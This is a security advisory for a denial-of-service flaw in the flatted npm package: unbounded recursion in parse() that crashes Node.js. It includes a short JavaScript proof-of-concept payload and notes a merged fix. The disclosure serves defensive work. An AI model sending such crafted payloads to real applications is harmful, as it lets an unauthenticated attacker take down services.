CVE-2026-32141: flatted: Unbounded recursion DoS in parse() revive phase

Summary

flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.

Impact

Denial of Service (DoS). Any application that passes untrusted input to flatted.parse() can be crashed by an unauthenticated attacker with a single request.

flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.

Proof of Concept

javascript const flatted = require('flatted');

// Build deeply nested circular reference chain const depth = 20000; const arr = new Array(depth + 1); arr[0] = '{"a":"1"}'; for (let i = 1; i <= depth; i++) { arr[i] = {"a":"${i + 1}"}; } arr[depth] = '{"a":"leaf"}';

const payload = JSON.stringify(arr); flatted.parse(payload); // RangeError: Maximum call stack size exceeded

Fix

The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive revive() to a stack-based loop.

Affected Versions

All versions prior to the PR #88 fix.